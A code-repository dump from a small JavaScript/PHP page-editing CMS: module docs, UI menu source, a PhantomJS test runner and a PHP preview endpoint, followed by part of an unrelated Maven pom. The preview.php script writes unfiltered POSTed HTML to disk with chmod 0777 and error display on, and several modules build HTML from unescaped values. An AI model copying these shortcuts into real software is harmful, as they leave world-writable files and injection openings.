$previewImgId = $previewImg.attr('id'),
imageSrcIndex = $('#'+$previewImgId).data('index');
/* set current image info */
self.currentImgUrl = imgUrl;
self.currentImgSrcElem = imageSrcIndex;
/* set current upload button info */
self.$currentBtn = $(this).prev('label');
self.$currentBtns = $('.cms-modal-upload-label');
/* update the buttons, cancel other buttons, show upload progress in
* the currently focused button */
self.updateUploadBtns(self.$currentBtn, self.$currentBtns);
/* update the image in the Video Manager with the new one */
self.updatePreviewImage($previewImg, file);
/* upload image */
$posterImgBtn.prop('disabled', true);
self.uploadImage(e, file);
$posterImgBtn.prop('disabled', false);
});
},
```
### updatePreviewImage()
Updates the poster image shown in the Video Manager
@param `$previewImg` - a cashJS object of the poster image in the Video Manager
@param `file` - the file to be uploaded (the one chosen by the user after clicking
the upload button)
```js
updatePreviewImage: function ($previewImg, file){
var reader = new FileReader();
reader.addEventListener('load', function () {
$previewImg.attr('src', reader.result);
}, false);
if (file) reader.readAsDataURL(file);
},
```
### uploadImage()
Uplaods in image to the server
```js
uploadImage: function (e, file){
var formData = new FormData(this);
formData.append('image', file, file.name);
/* prevent redirect and do ajax upload */
e.preventDefault();
cms.ajax.create('POST', cms.config.api.upload);
self.setImageUploadEventHandlers();
cms.ajax.send(formData);
},
```
### setImageUploadEventHandlers()
Set the functions and events for image upload Success, Error and
Progress events. On image upload success, the poster image on the main
page itself is updated, and the uplaod buttons are reset to their
default state.
```js
setImageUploadEventHandlers: function () {
var btn = self.$currentBtn,
btns = self.$currentBtns;
var onProgressHandler = function (e) {
var ratio = Math.floor((e.loaded / e.total) * 100) + '%';
btn.html('Uploading '+ratio);
};
var onSuccessHandler = function (responseText){
console.log(responseText);
self.updateposterImage();
btn.html('Upload poster image');
btn.removeClass('cms-modal-upload-label-uploading');
$(btn).parent().children('.cms-loader').addClass('cms-loader-hidden');
btns.css('pointer-events', 'all');
};
var onErrorHandler = function (responseText){
console.log(responseText);
btn.html('Upload error');
btn.addClass('cms-modal-upload-label-error');
$(btn).parent().children('.cms-loader').addClass('cms-loader-hidden');
};
cms.ajax.onProgress(onProgressHandler);
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
},
```
### updateposterImage()
Update the poster image (on the main page) of the video clicked
```js
updateposterImage: function(){
var $imgToUpdate = $(self.currentVideo).children('img');
$imgToUpdate.attr('src', self.currentImgUrl);
$(self.currentVideo).attr('poster', self.currentImgUrl);
},
```
### createUploadBtn()
Returns an HTML string of a video upload button
@param `i` - an index that will give the button a unique ID
@return `uploadBtn` - a string of HTML defining an upload form, with an
input of type 'file'.
```js
createUploadBtn: function (i) {
var uploadBtn = '\
<form id="cms-upload-form-'+i+'" action="/api/upload.php" method="post" class="cms-upload-form cms-upload-form-'+i+'" enctype="multipart/form-data">\n\
<div class="cms-loader cms-loader-hidden"></div>\n\
<label for="file-upload-'+i+'" id="file-upload-label-'+i+'" class="cms-modal-upload-label">Upload a video</label>\n\
<input name="video" type="file" id="file-upload-'+i+'" class="cms-modal-upload-btn" />\n\
</form>';
return uploadBtn;
},
```
### createUploadPosterBtn()
Returns an HTML string of a form containing an upload button (input type file).
@param `i` - an index that will give the button a unique ID
@return `uploadBtn` - a string of HTML defining an upload form, with an
input of type 'file'.
```js
createUploadPosterBtn: function (i) {
var uploadBtn = '\
<form id="cms-upload-form-'+i+'" action="/api/upload.php" method="post" class="cms-upload-form cms-upload-form-'+i+'" enctype="multipart/form-data">\n\
<div class="cms-loader cms-loader-hidden"></div>\n\
<label for="file-upload-'+i+'" id="file-upload-label-'+i+'" class="cms-modal-upload-label">Upload poster image</label>\n\
<input name="image" type="file" id="file-upload-'+i+'" class="cms-modal-upload-poster-btn" />\n\
</form>';
return uploadBtn;
},
```
End of module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ video_manager.js](video_manager.js "View in source")
<file_sep>/docs/cms/js/modules/meta_manager.js.md
# meta_manager.js
This module allows users to easily edit the META information of the page
(index.html) via a simple, popup form.
Let's begin - get our dependencies
```js
var $ = require('cash-dom');
```
Create a persistent self reference to use across all module mthods
```js
var self;
```
Use strict setting
```js
"use strict";
```
Define the CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
```js
init: function(){
self = this; /* consistent self reference */
},
```
### showUI()
```js
showUI: function () {
/* Get the meta values from the page */
var form = '',
$meta = $('head').find('meta[name^="title"], meta[name^="description"], meta[name^="author"], meta[name^="keywords"], meta[name^="news_keywords"], meta[name^="copyright"]'),
$twitter = $('head').find('meta[name^="twitter"]'),
$facebook = $('head').find('meta[property]'),
$googleplus = $('head').find('meta[itemprop]');
/* addMetaSection()
* a function that will build our editable meta info form sections
*
* @param `title` - string, title of the meta section
* @param `$list` - an HTML Collection of meta elems
*/
var addMetaSection = function (title, $list){
var type = 'name';
/* set the attribute to look for */
if (title === 'Facebook'){
type = 'property';
} else if (title === 'Google+') {
type = 'itemprop';
}
/* add a header to the form for this meta section */
form += '<h3 class="cms-meta-group-header">'+title+'</h3>\n\r';
/* for each meta elem/item,
* get the name and value,
* then create a form field
*/
$list.each(function (el) {
var metaValue = el.attributes['content'].nodeValue,
metaKey = $(el).attr('itemprop');
/* fix empty meta fields */
if (!metaKey) metaKey = $(el).attr('property');
if (!metaKey) metaKey = $(el).attr('name');
/* build the form field html string */
form += '\
<label>\n\r\
<p class="cms-meta-key">'+metaKey+'</p>\n\r\
<input data-type="'+type+'" name="'+metaKey+'" class="cms-meta-value" type="text" value="'+metaValue+'" size="25" />\n\r\
</label>\n\r';
});
};
/* create the form element, the add each meta section to the form */
form = '<form name="cms-meta-form" class="cms-meta-form" action="" method="POST">\n\r';
addMetaSection('Meta Info', $meta);
addMetaSection('Twitter', $twitter);
addMetaSection('Facebook', $facebook);
addMetaSection('Google+', $googleplus);
form += '</form>\n\r';
/* load modal */
cms.modal.create({
title: 'Edit Meta Info',
contents: form
});
cms.modal.show();
/* modal is loaded, now add event handlers for the modal contents */
self.addEventHandlers();
},
```
### addEventHandlers()
This func calls the `updateMeta()` function each time a Meta Manager
form field value changes.
```js
addEventHandlers: function () {
$('input.cms-meta-value').on('change', function updateMetaField(e){
var attr = $(this).data('type'),
metaKey = $(this).attr('name'),
metaValue = $(this).val();
self.updateMeta(attr, metaKey, metaValue);
});
},
```
### updateMeta()
Update the meta values in the page with the ones given as parameters
@param `attr` - string, name of the meta attribute to update
@param `key` - string, the attribute key to update
@param `value` - string, the new value to assign to the given key
```js
updateMeta: function (attr, key, value) {
var elemToUpdate = $('head').find('meta['+attr+'^="'+key+'"]');
/* If the meta item is 'title', use it to update the <title> tag */
if (key === 'title'){
/* update <title> in <head> */
$('head title').text(value);
}
/* If a value was given, update the attribute, else clear it */
if (value) {
$(elemToUpdate).attr('content', value);
} else {
$(elemToUpdate).attr('content', '');
}
},
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ meta_manager.js](meta_manager.js "View in source")
<file_sep>/src/cms/api/preview.php
<?php
ini_set('display_errors',1);
error_reporting(E_ALL);
require_once('validate_user.inc.php');
// get html from $_POST, save to preview
$html = $_POST['html'];
$filename = $_SERVER['DOCUMENT_ROOT'] . $url_path . 'preview.html';
$handle = fopen($filename,"w");
if ( fwrite($handle,$html) ){
chmod($filename, 0777); //fix with better vagrant permission in mounting of shared folder
echo "success";
} else {
echo "fail";
}
fclose($handle);
?><file_sep>/docs/cms/js/cms.js.md
# cms.js
This file is called by [index.html]() and needs a config object.
If no config object is passed to `init()` then a default config will be used.
First, we require in the dependencies
```js
var $ = require('cash-dom'); /* enables a lightweight jQuery alternative */
var languages = require('modules/languages.js') /* provides list of languages (for translations) */
var loadCSS = require('modules/loadcss').init; /* enables load CSS on the fly */
var store = require('store'); /* enables cross-browser localStorage solution */
var zenscroll = require('zenscroll'); /* enables click to smooth scroll to anchor */
```
## Default Config
This JSON object defines the classes, containers, elements and server side URLs that the CMS should look for.
The values in this config match values defined in the [app templates](https://github.com/sc0ttj/Project/tree/master/src/app/templates)
```js
config: {
/* localStorage is used to make CMS page changes persistent,
* you can disable it if it is causing issues like slow page loads/edits
*/
'localStorage' : true,
/* The list of template files to make available in the Section Manager.
* These files are in https://github.com/sc0ttj/Project/tree/master/src/app/templates
*/
'templates' : [
'_hero-center.tmpl',
'_article-full-width.tmpl',
'_article-left.tmpl',
'_article-right.tmpl',
'_image-center.tmpl',
'_image-fixed.tmpl',
'_scrollmation-text-left.tmpl',
'_stat-text.tmpl',
'_youtube-full-width.tmpl',
'_video.tmpl',
'_video-full-width.tmpl'
],
/* The selector of the element which contains the added sections/templates. */
'sectionSelector' : 'body .section',
/* The HTML to use as the section/template container element */
'sectionContainer' : '<div class="section"></div>',
/* The elements the CMS will make editable (using `contenteditable`) */
'editableItems' : [
'h1',
'h2',
'p',
'blockquote',
'li'
],
/* The class to add to editable elements (used by the CMS to find editable items) */
'editableClass' : 'cms-editable',
/* The class given to elements which contain multiple editable items.
* These elements are defined in the templates, and would usually contain
* paragraphs or list items.
*/
'editableRegionClass' : 'cms-editable-region',
/* The elements to which the CMS should add a 'ADD MEDIA' button,
* which, when clicked, adds an image after the currently
* highlighted element */
'inlineMediaRegionSelector' : '.scrollmation-container p[contenteditable],.article:not(.article-right):not(.article-left) p[contenteditable]',
/* The selector to use for making image elements clickable and editable (via the CMS Image Manager) */
'responsiveImageSelector' : 'picture, .scrollmation-container, .inline-image',
/* The selector to use for making video elements clickable and editable (via the CMS Video Manager) */
'videoSelector' : 'video',
/* The classes to add to the `<body>` tag if the browser is HTML5 and modern JS capable.
* We can use these classes in the app CSS to enable CSS animations for modern browsers, for example.
*/
'mustardClass' : 'html5 js',
/* The server-side URLs which the CMS will use to POST and GET data (for uploads, etc) */
'api': {
/* The file to which images, videos and vocab files are uploaded */
'upload' : 'cms/api/upload.php',
/* The file which writes POSTed html to a .html file */
'preview' : 'cms/api/preview.php',
/* The file which saves, enables and disables page translations */
'translate' : 'cms/api/translation.php',
/* This file saves the current dir to a zip file */
'save' : 'cms/api/save.php',
/* Logout and destroy the PHP session */
'logout' : 'cms/api/logout.php'
}
},
```
## Methods
#### getConfig()
```js
getConfig: function (){
return this.config;
},
```
#### setConfig()
@param `config` - a JSON object like the default one above
```js
setConfig: function (config){
this.config = config || this.config;
},
```
#### init()
@param `config` - a JSON object like the default one above
```js
init: function(config){
this.setConfig(config);
this.pageConfig = app.pageConfig;
this.pageDir = window.location.pathname.split('/').slice(0, -1).join('/');
this.restoreProgress();
if (this.cutsTheMustard()) this.addMustard();
this.loadStylesheets();
this.setupSmoothScrolling();
/* set lang info */
this.setLang();
/* this.autoSave(); // not used */
/* Require in all the CMS modules that we need */
this.ajax = require('modules/ajaxer');
this.modal = require('modules/modal');
this.editor = require('modules/page_editor');
this.videoManager = require('modules/video_manager');
this.imageManager = require('modules/image_manager');
this.sectionManager = require('modules/section_manager');
this.metaManager = require('modules/meta_manager');
this.previewManager = require('modules/preview_manager');
this.exportManager = require('modules/export_manager');
this.templater = require('modules/templater');
this.translationManager = require('modules/translation_manager');
this.vocabEditor = require('modules/vocab_editor');
this.fileManager = require('modules/file_manager');
this.ui = require('modules/ui');
/* Initialise the modules required by the translation manager. */
this.modal.init();
this.vocabEditor.init();
this.previewManager.init();
this.exportManager.init();
/* NOTE: var 'translateOnly' was set either true or false by
* our PHP backend.. if true, the CMS should disable editing
* of the page, and only allow editing of translations.
* So, we will only load the other modules if not in translation mode.
*/
if (!cms.showTranslation() && !translateOnly){
this.editor.init();
this.videoManager.init();
this.imageManager.init();
this.sectionManager.init();
this.metaManager.init();
this.fileManager.init();
this.templater.init();
this.translationManager.init();
this.ui.init();
}
/* If the URL contains `?translate=XX`, where `XX` is a valid 2 letter
* ISO language code, then show the translation manager immediately.
*/
if (this.showTranslation()) this.vocabEditor.translatePage();
return true /* if we loaded up ok */
},
```
#### setLang()
```js
setLang: function () {
var lang = this.getLang();
this.lang = this.getLangInfo(lang),
this.lang.code = lang;
},
```
#### getLang()
```js
getLang: function () {
var lang = $('html')[0].getAttribute('lang');
lang.code = lang;
return lang || 'en';
},
```
#### getLangInfo()
@param `lang` - a 2 letter language ISO code
```js
getLangInfo: function (lang) {
return languages[lang];
},
```
#### getLanguages()
```js
getLanguages: function () {
return languages;
},
```
#### setupSmoothScrolling()
```js
setupSmoothScrolling: function () {
var defaultDuration = 400; // ms
var edgeOffset = 0; // px
zenscroll.setup(defaultDuration, edgeOffset);
},
```
#### reload()
```js
reload: function (){
if (this.showTranslation()) return false;
cms.editor.setEditableItems(this.config.editableItems);
cms.editor.setEditableRegions(this.config.editableRegionClass);
cms.editor.setEventHandlers();
cms.videoManager.addVideoClickHandlers();
cms.imageManager.init();
app.reload();
},
```
#### cutsTheMustard()
```js
cutsTheMustard: function () {
var cutsTheMustard = (
'querySelector' in document
&& 'localStorage' in window
&& 'addEventListener' in window);
return cutsTheMustard;
},
```
#### addMustard()
```js
addMustard: function (){
document.getElementsByTagName('body')[0].classList.add('cms-html5');
},
```
#### loadStylesheets()
```js
loadStylesheets: function (){
var stylesheets = [ 'cms/css/vendor.css', 'cms/css/cms.css' ];
stylesheets.forEach(function(val){
loadCSS(val);
});
},
```
#### showTranslation()
```js
showTranslation: function (){
if (this.getQueryVariable('preview') != '') return true;
return false;
},
```
#### autoSave()
```js
autoSave: function () {
if (this.showTranslation()) return false;
setInterval(this.saveProgress, 30000);
},
```
#### saveProgress()
Get the current HTML of the page being edited and save that HTML to localStorage
```js
saveProgress: function(){
if (cms.showTranslation()) return false;
if (!cms.config.localStorage) return false;
var $html = $('body').clone(),
$head = $('head').clone(),
html = '';
/* Here we clean up the HTML we got from the page, by
* removing any CMS elems, classes etc. Then we reset various
* things to their initial page load state.
*/
$html.find('.cms-menu-container, .cms-menu, .cms-modal, .cms-media-btn, .cms-menu-btn').remove();
$html.find('#cms-init, link[href^="cms"]').remove();
/* reset page to defaults */
$html.find('body').removeClass('js');
$html.find('.video-overlay').removeClass('hidden');
$html.find('.video-overlay-button').html('▶');
$html.find('*').removeClass('scrollmation-image-container-fixed');
/* get cleaned up html */
html = $html.html();
html = cms.exportManager.cleanupWhitespace(html);
/* save cleaned up html to localstorage */
store.set(this.pageDir + '__head', $head.html());
store.set(this.pageDir, html);
/* console.log('Saved progress..'); */
},
```
#### restoreProgress()
Get HTML for this page from localStorage if it exists, then replace the page HTML with the saved version.
```js
restoreProgress: function(){
var html = store.get(this.pageDir), // our namespaced HTML in storage
head = store.get(this.pageDir + '__head'), // our namespaced head HTML in storage
restored = false;
if (!cms.config.localStorage) return false;
if (html) {
$('body').html(html);
restored = true;
}
if (head) {
$('head').html(head);
restored = true;
}
if (restored) app.reload();
},
```
#### getQueryVariable()
```js
getQueryVariable: function (variable) {
/* https://css-tricks.com/snippets/javascript/get-url-variables/ */
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
},
};
```
------------------------
Generated _Tue Mar 21 2017 18:57:07 GMT+0000 (GMT)_ from [Ⓢ cms.js](cms.js "View in source")
<file_sep>/src/cms/js/modules/ui.js
// # ui.js
// The module provides the main CMS menu. It has buttons for editing the page
// sections, meta info, translations and more.
// Let's start. Get our dependencies
var $ = require('cash-dom'); // like jquery
// Create a persistent self reference
var self;
// Use strict setting
"use strict";
// Define the CommonJS module
module.exports = {
// ## Module Methods
// ### init()
// On init, make `self` available as reference to this module in all methods,
// then run addUI() to add the menu button to the page.
init: function(){
self = this;
self.addUI();
return true // if we loaded ok
},
// ### addUI()
// Define the menu and menu button HTML, then add them to the page. The menu
// will be hidden by default.
addUI: function(){
var menu = this.getMenuHtml(),
menuBtn = '<button class="cms-menu-btn cms-unselectable clear">☰</button>';
$('body').append('<div class="cms-menu-container">' + menu + '</div>');
$('body').append(menuBtn);
self.getUIComponents(); // register all menu elements as cashJS objects
self.setUIEventHandlers(); // now assign event handlers to them
},
// ### getUIComponents()
// Get all the menu elements as cashJS objects and bind them to this module as
// properties which can be accessed across this module.
getUIComponents: function () {
self.$menu = $('.cms-menu');
self.$menuBg = $('.cms-menu-bg');
self.$menuBtn = $('.cms-menu-btn');
self.$menuItems = $('.cms-menu-item');
self.$menuItemUp = $('.cms-menu-item-icon-up');
self.$menuItemDown = $('.cms-menu-item-icon-down');
self.$menuItemDelete = $('.cms-menu-item-icon-delete');
self.$menuBtnSave = $('.cms-menu-item-save');
self.$menuBtnPreview = $('.cms-menu-item-preview');
self.$menuBtnAddSection = $('.cms-menu-item-add-section');
self.$menuBtnMeta = $('.cms-menu-item-meta');
self.$menuBtnFiles = $('.cms-menu-item-files');
self.$menuBtnLogout = $('.cms-menu-item-logout');
self.$menuBtnTranslations = $('.cms-menu-item-translations');
},
// ### setUIEventHandlers()
// Define which functions to execute when clicking the various menu items
setUIEventHandlers: function () {
self.$menuBg.on('click', self.menuBgClickHandler);
self.$menuBtn.on('click', self.menuBtnClickHandler);
self.$menuItemUp.on('click', self.menuItemUpClickHandler);
self.$menuItemDown.on('click', self.menuItemDownClickHandler);
self.$menuItemDelete.on('click', self.menuItemDeleteClickHandler);
self.$menuBtnPreview.on('click', self.menuBtnPreviewClickHandler);
self.$menuBtnSave.on('click', self.menuBtnSaveClickHandler);
self.$menuBtnAddSection.on('click', self.menuBtnAddSectionClickHandler);
self.$menuBtnMeta.on('click', self.menuBtnMetaClickHandler);
self.$menuBtnFiles.on('click', self.menuBtnFilesClickHandler);
self.$menuBtnLogout.on('click', self.menuBtnLogoutClickHandler);
self.$menuBtnTranslations.on('click', self.menuBtnTranslationsClickHandler);
},
// ### setUIEventHandlersOff()
// Unregister all the event handlers - useful if rebuilding the menu
setUIEventHandlersOff: function () {
self.$menuBg.off('click', self.menuBgClickHandler);
self.$menuBtn.off('click', self.menuBtnClickHandler);
self.$menuItemUp.off('click', self.menuItemUpClickHandler);
self.$menuItemDown.off('click', self.menuItemDownClickHandler);
self.$menuItemDelete.off('click', self.menuItemDeleteClickHandler);
self.$menuBtnPreview.off('click', self.menuBtnPreviewClickHandler);
self.$menuBtnSave.off('click', self.menuBtnSaveClickHandler);
self.$menuBtnAddSection.off('click', self.menuBtnAddSectionClickHandler);
self.$menuBtnMeta.off('click', self.menuBtnMetaClickHandler);
self.$menuBtnFiles.off('click', self.menuBtnFilesClickHandler);
self.$menuBtnLogout.off('click', self.menuBtnLogoutClickHandler);
self.$menuBtnTranslations.off('click', self.menuBtnTranslationsClickHandler);
},
// ### getMenuHtml()
// Returns the CMS menu as a string of HTML.
//
// @return `menu` - string, the menu HTML
getMenuHtml: function () {
var menu = '\
<div class="cms-menu-bg cms-ui-hidden"></div>\
<ul class="cms-menu cms-ui-hidden">\
<li class="cms-menu-top"></li>\
<li \
class="cms-menu-item cms-menu-item-logout">\
<span class="cms-menu-item-text">Logout</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-logout cms-anim-fade-250ms cms-unselectable">↳</span>\
</li>\
<li \
class="cms-menu-item cms-menu-item-files">\
<span class="cms-menu-item-text">File Manager</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-files cms-anim-fade-250ms cms-unselectable">📂</span>\
</li>\
<li \
class="cms-menu-item cms-menu-item-meta">\
<span class="cms-menu-item-text">Meta Info</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-meta cms-anim-fade-250ms cms-unselectable">📝</span>\
</li>\
<li \
class="cms-menu-item cms-menu-item-preview">\
<span class="cms-menu-item-text">Preview</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-preview cms-anim-fade-250ms cms-unselectable">👁</span>\
</li>\
<li \
class="cms-menu-item cms-menu-item-translations">\
<span class="cms-menu-item-text">Translations</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-translations cms-anim-fade-250ms cms-unselectable">🌎</span>\
</li>\
<li \
class="cms-menu-item cms-menu-item-save">\
<span class="cms-menu-item-text">Save to zip</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-save cms-anim-fade-250ms cms-unselectable">💾</span>\
</li>\
<li id="menu-header-sections" class="cms-menu-header cms-menu-header-sections">\
<span class="cms-menu-item-text">Sections:</span>\
</li>\
<li id="menu-item-add-section" class="cms-menu-header cms-menu-item-add-section cms-unselectable">\
Add Section +\
</li>';
menu += self.getSectionsAsMenuItems();
menu += '</ul>';
return menu;
},
// ### getSectionsAsMenuItems()
// Create a menu item for each section on the (index.html) page and
// returns these items as a string of HTML.
//
// @return `menuItems` - string, the HTML of the menu buttons for each section.
getSectionsAsMenuItems: function () {
var menuItems = '',
$sections = self.getSections();
$sections.each(function addSectionToMenu(elem, i){
var sectionName = $sections.children()[i].getAttribute('data-name') || 'section'+(i+1),
sectionDesc = $(elem).children().find('[contenteditable]:not(:empty)')[0];
if (sectionDesc) {
sectionDesc = sectionDesc.innerText.substring(0, 100);
} else {
sectionDesc = '...';
}
menuItems += '\
<li \
id="menu-item-'+(i+1)+'" \
class="cms-menu-item cms-menu-section-item">\
<span class="cms-menu-item-text"><a href="#section'+(i+1)+'">'+sectionName+'</a></span>\
<p class="cms-menu-section-item-desc">'+sectionDesc+'</p>\
<span class="cms-menu-item-icon cms-menu-item-icon-up cms-anim-fade-250ms cms-unselectable">ᐃ</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-down cms-anim-fade-250ms cms-unselectable">ᐁ</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-delete cms-anim-fade-250ms cms-unselectable">ⅹ</span>\
</li>';
});
return menuItems;
},
// ### getSections()
// Get all page sections (reads index.html) and returns as an HTML Collection
//
// @return `sections` - an HTML COllection of the sections currently on the page
getSections: function () {
var sections = $(cms.config.sectionSelector);
return sections;
},
// ### menuBgClickHandler()
// On clicking the menu background, hide the CMS menu
menuBgClickHandler: function (e) {
self.hideMenu();
},
// ### menuBtnClickHandler()
// On clicking the menu button, hide or show the CMS menu
menuBtnClickHandler: function (e) {
self.toggleMenu();
},
// ### menuItemUpClickHandler()
// Moves a section up the page and moves the related menu item up the menu.
menuItemUpClickHandler: function (e) {
var $this = $(this.parentNode),
$prev = $($this).prev(),
index = $this.attr('id').replace('menu-item-', '');
if ($this.attr('id') !== 'menu-item-1'){
$this.after($prev);
self.reIndexMenuItems();
cms.sectionManager.moveSectionUp(index);
cms.sectionManager.reIndexSections();
}
},
// ### menuItemDownClickHandler()
// Moves a section down the page and moves the related menu item down the menu.
menuItemDownClickHandler: function (e) {
var $this = $(this.parentNode),
$next = $($this).next(),
index = $this.attr('id').replace('menu-item-', '');
$next.after($this);
self.reIndexMenuItems();
cms.sectionManager.moveSectionDown(index);
cms.sectionManager.reIndexSections();
},
// ### menuItemDeleteClickHandler()
// Deletes the chosen section from the page and menu.
menuItemDeleteClickHandler: function (e) {
var $this = $(this.parentNode),
index = $this.attr('id').replace('menu-item-', '');
/* keep at least one section */
if ($(cms.config.sectionSelector).length < 2) return false;
$this.remove();
self.reIndexMenuItems();
cms.sectionManager.removeSection(index);
cms.sectionManager.reIndexSections();
},
// ### menuBtnSaveClickHandler()
// Process and save the contents of the current folder to a .tar.gz file.
// This method is used to exprt the page created as a bundled, self-contained
// archive file.
menuBtnSaveClickHandler: function (e) {
cms.exportManager.savePage();
},
// ### menuBtnPreviewClickHandler()
// Show the Preview Manager, which displays preview.html (or index.LANG.html)
// in a resizable iframe.
menuBtnPreviewClickHandler: function (e) {
cms.previewManager.previewPage();
},
// ### menuBtnAddSectionClickHandler()
// Show the Section Manager, which lets users add new sections to the page.
menuBtnAddSectionClickHandler: function (e) {
cms.sectionManager.showUI();
},
// ### menuBtnMetaClickHandler()
// Show the META Manager - lets users edit the meta info of the page.
menuBtnMetaClickHandler: function (e) {
cms.metaManager.showUI();
},
// ### menuBtnFilesClickHandler()
// show the file manager - lets users edit, rename, add, remove files from
// the current directory.
menuBtnFilesClickHandler: function (e) {
cms.fileManager.showUI();
},
// ### menuBtnLogoutClickHandler()
// Will logout the user out and redirect them to the login page. They will
// need to be logged in to edit the page.
menuBtnLogoutClickHandler: function (e) {
window.location.href = cms.config.api.logout;
},
// ### menuBtnTranslationsClickHandler()
// show the Translation Manager - where users can create translated versions
// of their page.
menuBtnTranslationsClickHandler: function () {
/* hide the CMS menu */
cms.ui.hideMenu();
/* the translation manager needs preview.html to exist, so let's
* create it, to be safe - get the latest page HTML as a string */
var html = cms.exportManager.getPageHTMLWithoutCMS();
/* make it a string containing a proper HTML doc */
html = cms.exportManager.addDocType(html);
/* save the HTML to preview.html, then
* load up the Translation Manager */
cms.exportManager.saveHtmlToFile(html, cms.translationManager.showUI);
},
// ### reIndexMenuItems()
// Fix the index numbers of the menu items (needed after moving items up or down)
reIndexMenuItems: function (){
$('.cms-menu-section-item').each(function(el, i){
var $el = $(el);
$el.attr('id', 'menu-item-'+(i+1));
$el.find('a').attr('href', '#section'+(i+1));
});
},
// ### toggleMenu()
// Hides or shows the CMS menu.
toggleMenu: function(){
if (self.$menu.hasClass('cms-ui-hidden')){
self.showMenu();
} else {
self.hideMenu();
}
},
// ### showMenu()
// Save the page to localStorage, then update the menu contents, then
// add the classes needed to show the menu.
showMenu: function(){
cms.saveProgress();
self.updateUI();
$('.cms-menu, .cms-menu-bg').addClass('cms-anim-fade-250ms ');
self.$menu.removeClass('cms-ui-hidden');
self.$menuBg.removeClass('cms-ui-hidden');
self.$menuBtn.addClass('cms-menu-btn-on');
$('body').addClass('cms-noscroll');
},
// ### updateUI()
// Get the latest menu HTML, remove event handlers from the existing menu
// items, then replace the menu HTML then re-index them and, finally,
// re-register the menu items with their event handlers.
updateUI: function () {
var menu = this.getMenuHtml();
self.setUIEventHandlersOff();
$('.cms-menu-container').html(menu);
self.reIndexMenuItems();
self.getUIComponents();
self.setUIEventHandlers();
},
// ### hideMenu()
// Hides the CMS meu, saves the latest pag eHTML to localStorage.
hideMenu: function(){
$('body').removeClass('cms-noscroll');
self.$menu.addClass('cms-ui-hidden');
self.$menuBg.addClass('cms-ui-hidden');
self.$menuBtn.removeClass('cms-menu-btn-on');
cms.saveProgress();
},
//
// End of module
};
<file_sep>/src/cms/vendor/example_vendor.js
var cms = function(){
console.log('cms vendor js');
}
<file_sep>/docs/test/js/_phantom_runner.js.md
# Phantom Runner
This file runs our tests (see [tests.js](https://github.com/sc0ttj/Project/blob/master/src/test/js/tests.js])) in the terminal.
To execute this file, run `npm test` in your terminal.
This file is based on https://gist.github.com/kennyu/3699039
Begin... Create the loading msg.
```js
console.log("\nLoading PhantomJS.. Then tests will begin..");
```
Set URL to go to.
```js
var liveURL = "http://localhost:8080/demo/index.html";
```
Create the page object we will evaulate.
```js
var page = require('webpage').create(), testindex = 0, loadInProgress = false;
```
Enable logging to node console/linux term/CI term
```js
page.onConsoleMessage = function(msg) {
console.log(msg);
};
```
Set events for the page we created
```js
page.onLoadStarted = function() {
loadInProgress = true;
};
page.onLoadFinished = function() {
loadInProgress = false;
};
page.onPageLoaded = function() {
console.log(document.title);
};
```
PhantomJS will run each function in "steps" array
```js
var steps = [
/* Load Login Page */
function() {
page.open(liveURL);
},
/* Enter Credentials */
function() {
page.evaluate(function() {
document.querySelector('input[type="password"]').value = "<PASSWORD>";
});
},
/* Login */
function() {
page.evaluate(function() {
document.querySelector('input[type="submit"]').click();
});
},
/* Run tests */
function() {
/*
* we're at the homepage again, this time logged in,
* so tests will now run (without this func, phantomJS
* doesn't re-visit the page once logged in)
*/
}
];
```
Run the steps we defined in the 'steps' array.
```js
interval = setInterval(function() {
if (!loadInProgress && typeof steps[testindex] == "function") {
steps[testindex]();
testindex++;
}
/* if no more functions (steps) to run, exit */
if (typeof steps[testindex] != "function") {
page.evaluate(function() {
console.log('\nPhantomJS Exiting..');
});
phantom.exit();
}
}, 2000);
```
------------------------
Generated _Sat Mar 25 2017 04:40:38 GMT+0000 (GMT)_ from [Ⓢ _phantom_runner.js](_phantom_runner.js "View in source")
| 397c47105f6b0a6a99152d95364c629cdcd2d5cd | [
"Markdown",
"JavaScript",
"PHP",
"Shell"
] | 56 | Markdown | sc0ttj/Project | f42d7d809b56aa8a4618a72fb34207967c2f8443 | 6e0f9cdd7fd921ff44926ab95be01b99d9062ba2 |
refs/heads/main | <file_sep>public class Lo {
}
| 277cd764d62079e7ac18ab4def138947591b4e73 | [
"Java"
] | 1 | Java | vuhoangmylinh/TestRepo | 15b7d43fcde005c27f60ab9d1c6ef9b8dbe9e64c | 3280417c5e4f17eb35f5b6837c72a27c8323c8e9 |
refs/heads/master | <repo_name>koentsje/forge2-eclipse-ui<file_sep>/org.jboss.forge.eclipse.plugin/pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.jboss.forge</groupId>
<artifactId>forge-eclipse-ui-parent</artifactId>
<version>2.0.0-SNAPSHOT</version>
</parent>
<groupId>org.jboss.forge.eclipse</groupId>
<artifactId>org.jboss.forge.eclipse.plugin</artifactId>
<name>Forge Eclipse Plugin</name>
<packaging>eclipse-plugin</packaging>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-dependency-plugin</artifactId>
<executions>
<execution>
<id>get-runtime</id>
<goals>
<goal>copy</goal>
</goals>
<phase>generate-resources</phase>
<configuration>
<artifactItems>
<artifactItem>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.15.0-GA</version>
</artifactItem>
<artifactItem>
<groupId>org.jboss.forge</groupId>
<artifactId>forge-addon-container-api</artifactId>
<version>2.0.0-SNAPSHOT</version>
